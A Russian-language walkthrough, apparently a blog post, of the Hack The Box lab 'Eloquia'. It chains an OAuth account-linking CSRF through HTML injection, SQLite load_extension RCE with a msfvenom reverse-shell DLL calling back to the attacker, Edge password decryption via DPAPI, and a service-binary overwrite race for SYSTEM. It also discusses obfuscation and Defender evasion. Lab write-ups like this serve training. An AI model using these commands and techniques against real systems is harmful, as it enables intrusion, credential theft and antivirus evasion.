Предисловие

Приветствую и приглашаю всех на увлекательное путешествие в мир сложнейшей лабы от Hack The Box этого сезона!

Меня зовут Ян, я пентестер с многолетним опытом. Сегодня я решил поделиться прохождением лабы Insane-сложности (высшей): Eloquia. Мне всегда хотелось написать такое прохождение, но обычно меня останавливало уже наличие множества гайдов в сети. В данном случае, я не нашел ни одного полноценного решения и поэтому, делюсь с вами своими наработками.

Но это не только гайд для продвинутых. Для самых новеньких я буду также рассказывать про полезные утилиты, чем отличаются лабы на HTB от реального пентеста и как становиться лучше.

Поэтому запасайтесь орешками и любимыми напитками, и приступим к делу!

1 Этап. Сканирование хоста

Запустив лабу, нам выдается айпишник 10.10.11.99. На данный момент у нас нет никакой инфы об этом хосте, поэтому всегда в начале просто ищем открытые порты.

Внимание! Обычно начинают скан утилитой nmap, но лучше оставить ее для скана самих сервисов, когда будут уже известны порты. Дело в том, что nmap очень медленный если его запустить по всему диапазону портов от 1 до 65535.

Поэтому сначала ищем порты с помощью специальной для таких целей утилиты: masscan.

masscan -e tun0 -p 1-65535 --banners -Pn\
--rate=500 --open-only -oG ports.txt 10.10.11.99

Timestamp: 1767509044	Host: 10.10.11.99 ()	Ports: 5985/open/tcp//unknown//
Timestamp: 1767509052	Host: 10.10.11.99 ()	Ports: 80/open/tcp//http//

В этой статье буду постить код без sudo для удобства чтения.

Ради интереса запустите этот же скан на nmap и посмотрите на разницу по времени. Данный скан с 500 пакетов в секунду завершился менее чем за минуту. Если ваш пинг с Hack the Box менее чем 100 ms, то можно взять частоту отсылки пакетов (rate) еще выше и получится быстрее. Вообще masscan поддерживает rate до 25 миллионов пакетов в секунду при наличии PF_RING драйвера, что достаточно для ежедневного полного скана всего белого интернета.

Двигаем дальше? Порты знаем, теперь банальный скан сервисов:

nmap -sS -sV -A -p 5985,80 -T3 -v -Pn -oN version_scan.txt 10.10.11.99

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://eloquia.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Можно и нужно заморочиться, добавив затем --script=http*, потому что можно найти быстро доступные уязвимости. В данном случае пользы было не много, сразу переходим к ручному тестированию.

Видим, что повис редирект и добавим новый хост для резолва:

echo "10.10.11.99 eloquia.htb" >> /etc/hosts

Хост у нас Windows, проверим это через сервис WinRM и получим дополнительную инфу утилитой nxc:

$ nxc winrm eloquia.htb
WINRM  ...  [*] Windows 10 / Server 2019 Build 17763 (name:ELOQUIA) (domain:Eloqu

В данном случае имеем дело с оконным сервером 2019. SMB порт закрыт, nmap не нашел никаких уязвимостей в протоколе WinRM. Делаем вывод, что данный сервис нам пригодится позже и для прямой эксплуатации не подойдет.

2 Этап. Изучение Веб сервиса и обход OAuth

Очень советую установить себе Wappalyzer расширение, которое дает возможность быстро просмотреть технические стаки и может узреть что-то устаревшее и уязвимое.

Django?
Django?

Никакой CMS типа Wordpress тут нет, а есть самописное приложение на Django. Из моего опыта сдачи на OSCP и пентеста, обычно самые большие косяки кроются в таких вот самодельных веб приложениях.

Однако, полазев с Burp Proxy, ничего кроме HTML инъекции в создании статей я не нашел. Но не все тэги в инъекции рендерятся, например img отфильтровывался. Пока оставим эту находку на заметку и дальше.

HTML injection
HTML injection

Обычно, если никаких интересных вещей типа command injection и RFI/LFI я не нахожу, то перехожу к рассмотрению механизма авторизации и логина.

Qooqle.htb
Qooqle.htb

Кроме обычного логина через креды есть еще OAuth. Вариант через Facebook* не имплементирован в лабе, но вот Qooqle пытется нас перекинуть на qooqle.htb. А что если там рабочий сервис? Добавляем его в /etc/hostsи следуем на http://qooqle.htb.

На eloquia.htb и qooqle.htb можно создать два разных аккаунта, а потом соединить их на http://eloquia.htb/accounts/connect/.

Давайте рассмотрим все шаги авторизации на соединение аккаунтов:

  1. Запрос на авторизацию переводит нас на qooqle.htb.

  2. Qooqle присваивает уникальный ID, тип ответа code и обратный редирект.

  3. Отправка запроса на Qooqle и в ответе от Qooqle получем значение заголовка с целью редиректа и code:

    Location: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=kKIRcYIEj7slquQOTgnYogRujqQDFx

  4. После редиректа code отправляется на Eloquia. В бэкэнде согласно OAuth 2.0 стандарту, Eloquia использует данный код для работы с API сервера авторизации Qooqle. В итоге, сессия пользователя связывается с данными Qooqle. И пользователь ассоциируется с аккаунтом на Qooqle.

А что если ассоциировать чужую учетку на Eloquia с нашим Qooqle? Для этого надо похитить сессию жертвы, чтобы атаковать третий шаг. Но как это сделать?

Сразу скажу, что создатели HTB не очень любят XSS, но я его поискал и все равно не нашел. Поэтому переходим к поиску CSRF. И тут еще одна подсказка - HTB любят создавать admin ботов, которых нужно раскрутить на небезопасное действие.

Поэтому сразу возник план, основанный на том, что отсутствует какая-либо проверка источника ответного кода в четвертом шаге. Поэтому Eloquia может использовать любой код с сессией любого пользователя. И тут вспоминаем про HTML инъекцию, которую мы до этого нашли!

Создадим статью (http://eloquia.htb/article/create/) и вставим в неё HTML код, который будет перенаправлять админа с авторизацией и свяжет нашу учетку на Qooqle с учеткой админа на Eloquia. Затем попросту заново заходим на Eloquia через OAuth, используя Qooqle и получим права админа.

Но как гарантировать, что именно админ первым откроет вредоносный Article и попадется?

Заметим, что есть кнопка Report (http://eloquia.htb/article/visit/<Article ID>/) и будет логично, если админ проверяет все репорты. Там мы его и поймаем на удочку.

Все это провернуть без автоматизации довольно проблематично, поэтому я создал небольшой Python скрипт.

Для запуска скрипта достаточно после связки ваших аккаунтов на Eloquia и Qooqle залогиниться на Eloquia и скопировать из значения куки в скрипт.

Запускаем скрипт, он автоматически создаст статью и зарепортит ее. А как быть с нагрузкой в статье через HTML Injection? Как вызвать автоматический редирект админа? Используем meta тэг.

<p><meta http-equiv="refresh" content="0;url=http://10.10.xx.xx:8443/bait.html"></p>

Тут все не так просто, потому что иногда при попытке зарепортить такую статью вылезало предупреждение о детекте зловредного контента и админ-бот уже не приходил. Поэтому я применил обфускацию через HTML символы и все cработало на 100%:

payload = f"&lt;p&gt;&lt;meta http-equiv = \"refresh\" content = \"0; url=http://{LISTEN_IP}:{LISTEN_PORT}/bait.html\" &gt;&lt;/p&gt;"

Теперь запускаем скрипт и ждем админа. Как только он появится, необходимо создать собственный запрос через http://eloquia.htb/accounts/oauth2/qooqle/authorize/ и, используя, режим Intercept в Burp скопировать код авторизации (code) и вставить в промпт скрипта:

Вставка нашего значения code.
Вставка нашего значения code.

Далее необходимо дропнуть запрос в Burp и выйти из учетной записи (logout). Перезаходим в нашу учетку, но не через пароль, а через нажатие OAuth Qooqle. И увидите, что у вас есть админ права, потому что ваша Qooqle ассоциируется с админом на Eloquia.

Также появится слева кнопка от админ-панели. Переходим...

3 Этап. RCE через SQLite

Изучая функционал админки, находим SQL Explorer (http://eloquia.htb/dev/sql-explorer), который реально выполняет команды на продуктовой БД в бэке:

PRAGMA database_list;
C:\Web\Eloquia\db.sqlite3

Значит у нас SQLite, попробуем найти хэши админа. Если получится взломать хэш и получить креды, то велика вероятность, что их возможно переиспользовать для логина в других сервисах (WinRM?).

SELECT name FROM sqlite_master WHERE type='table';
name
django_migrations
sqlite_sequence
Eloquia_comment

SELECT * FROM Eloquia_customuser;
superuser
pbkdf2_sha256$720000$l0PVHno3vDtBJLVyPRaKhM...

Отыскиваем нужный тип хэша для hashcat.

Запускаем hashcat:

 hashcat -m 10000 -a 0 auc_hash.txt  ~/security/dictionaries/rockyou.txt

И ... ничего не взламывается со стандартным словарем. Можно пробовать с seclists, но обычно если перебор на HTB работает, то rockyou.txt достаточно.

Значит если не получается взломать хэш, пробуем получить RCE другими методами. Поисковый запрос в GOOGLE выдаст нам CVE-2024-47881. Там происходит подгрузка и выполнение произвольной DLL библиотеки, так как включен параметр enable_load_extension. Ищем и находим, что это может сработать в SQLite через команду: SELECT load_extension('path/to/pwn.dll');

Пробуем и видим, что да эта команда реально работает, но ошибка вылазит, потому что не находит модуля, то есть DLL. Это логично, ведь мы просто указали произвольное значение.

Как загрузить DLL? Пробуем подгрузку через через SMB сервер. Поднимаем анонимный сервак через impacket:

python3 ~/Tools/impacket/examples/smbserver.py -smb2support DORK .

Но получаем отказ, потому что в новых версиях окон соединение без аутентификации через SMB запрещено. Ищем другие пути. Пробуем взлом net NTLMv2 хэша, но hashcat со стандартным словарем ничего не находит.

И здесь надо помнить, что новые админ-функции надо досканально исследовать. Одна из них позволяет создавать статьи прямо из админки. Проверяем функцию загрузки баннера и в отличии от загрузки в основном сайте, здесь мы можем подгружать произвольные файлы, а не только картинки. Дополняется это все тем, что к этим файлам отображается путь и есть прямой доступ, но сразу скажу, что RFI не получится. Зато путь можно указать в load_extension.

Создаем DLL с обратным шеллом в msfvenom:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.xx.xx LPORT=443 -f dll > pwn.dll
Загрузка DLL.
Загрузка DLL.

Запускаем nc -lnvp 443 и триггерим SQL:

И ... и... в итоге, тишина. Почему? В таких случаях проверяем отработку бинарника на своей виртуалке Windows и сразу заметим, что наш DLL блочится антивирусом. Поэтому стандартные шеллы от metasploit и прочих фреймворков не подойдут.

Чтобы обойти защиту, я решил написать свой шелл: код на моем гите. Эта штука 100% обходит обычного Windows Defender. Компилируйте в Visual Studio и пользуйтесь пока ее не удалили :)

И если все правильно, то уловите шелл от пользователя web.

Едем дальше.

4 Этап. Захват другой учетки

Здесь можно написать отдельный роман по поиску уязвимостей на хосте Windows. Или можете просто скачать мои чит-листы.

Буду краток: многие команды и функции обычного powershell, да и win32 не будут работать на данном хосте. Пожалуй этот поиск отнял у меня больше всего времени при решении, а оно было под носом.

Подумайте. Ваша ревнивая бывшая получила доступ к вашему компу. Куда она в первую очередь полезет. В телегу? Но ее тут нет, тогда наверно в браузер. Да, именно в браузере Edge много интересных логинов и паролей! Достанем их.

Поискав в GOOGLE, находим, что все секреты Edge хранятся в файле Login Data, а зашифрованы они ключом, который находится в Local State. Но этот ключ еще и перешифрован мастер-ключом из DPAPI. Так как мы в сессии пользователя web, то можно попробовать расшифровать сессионным ключом. Это, как подсказал чат-бот, можно сделать следующим скриптом.

Вся магия в этой строке, которая берет ключ сессии и расшифровывает мастер-ключ:

win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

Что бы запустить скрипт его надо скопировать на хост. Так как у нас есть шелл, можно поключиться к нашему SMB серверу с кредами.

python3 ~/Tools/impacket/examples/smbserver.py -username toto -password NoRegrets1337 -smb2support DORK .

Копируем код и модули, чтобы все сработало:

copy \\10.10.xx.xx\DORK\pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl
copy \\10.10.xx.xx\DORK\pywin32-306-cp311-cp311-win_amd64.whl
"c:\Program Files\Python311\python.exe" -m pip install pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl
"c:\Program Files\Python311\python.exe" -m pip install pywin32-306-cp311-cp311-win_amd64.whl

Запуск:

C:\Users\web>"c:\Program Files\Python311\python.exe" decryptor.py
"c:\Program Files\Python311\python.exe" decryptor.py
URL: 
User: olivia.kat
Pass: Failed to decrypt

URL: http://eloquia.htb/accounts/login/
User: Olivia.KAT
Pass: А ЭТО вы найдете сами :)))

Отлично! Мы получили креды от второго пользователя.

5 Этап. Повышение привилегий

Заходим в новую учетку:

evil-winrm -i 10.10.11.99 -u Olivia.KAT -p '???'

Здесь как и в прошлой учетке крайне ограничены команды cmd и powershell. Нормально исследовать не получится. Зато есть подсказка на Desktop:

*Evil-WinRM* PS C:\Users\Olivia.KAT\Desktop> cat Todo.txt
[X] implement App.config file
[X] implement file type filtering
[] read firewall rules on service start
[] implement malicious input detection algorithm
[] avoid reading the whole "log" file on every service recall
-------------------------------
Problem: service is eating the CPU at huge log file size
Solution(temporary): Log rotation & service restart

Значит ищем App.config и находим:

*Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> Get-ChildItem -Path "C:\" -Recurse -File -Filter "App.config" -ErrorAction SilentlyContinue


    Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/25/2024  11:32 AM            273 App.config

Интересная директория с множеством исходников, но в подсказке еще речь о логах. Находим и читаем их:

cat ServiceLog_1_10_2026.txt


1/10/2026 1:27:10 AM - Service is stopped
1/10/2026 1:27:10 AM - Service is started
1/10/2026 1:27:10 AM - Proccessing log file
[...]
1/10/2026 1:32:10 AM - Proccessing log file
1/10/2026 1:32:10 AM - Service is stopped
1/10/2026 1:32:10 AM - Service is started
1/10/2026 1:32:10 AM - Proccessing log file

Значит сервис Failure2Ban стартует заново примерно каждые 5 минут. Кстати, если оставить на лабу активной на несколько дней, то она начинает дико тормозить что подтверждает проблему с логами.

Найдем, где лежит исполняемый бинарник:

*Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> reg query HKLM\SYSTEM\CurrentControlSet\Services\Failure2Ban /v ImagePath

C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe

Посмотрим можем ли мы его переписать:

*Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> icacls "C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe"
C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe ELOQUIA\Olivia.KAT:(I)(RX,W)

Есть метка W, значит можем его переписать, но не когда он активен, а во временном окне старт-стопа.

Пишем скрипт для поиска данного окна: мой вариант. Генерим свой бинарник с шеллом или любой другой командой и запускаем:

*Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> .\racer.ps1
Trying to overwrite: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe
[+] SUCCESS

Ура! Вы должны получить права SYSTEM и можете прочитать флаг.

Спасибо!

Спасибо всем, кто дочитал до конца! Надеюсь было интересно. Потому что я старался не только пошагово все решить, но и обсудить возможные ошибки и альтернативные пути.

* Facebook: Признан экстремистской организацией и запрещен на территории РФ.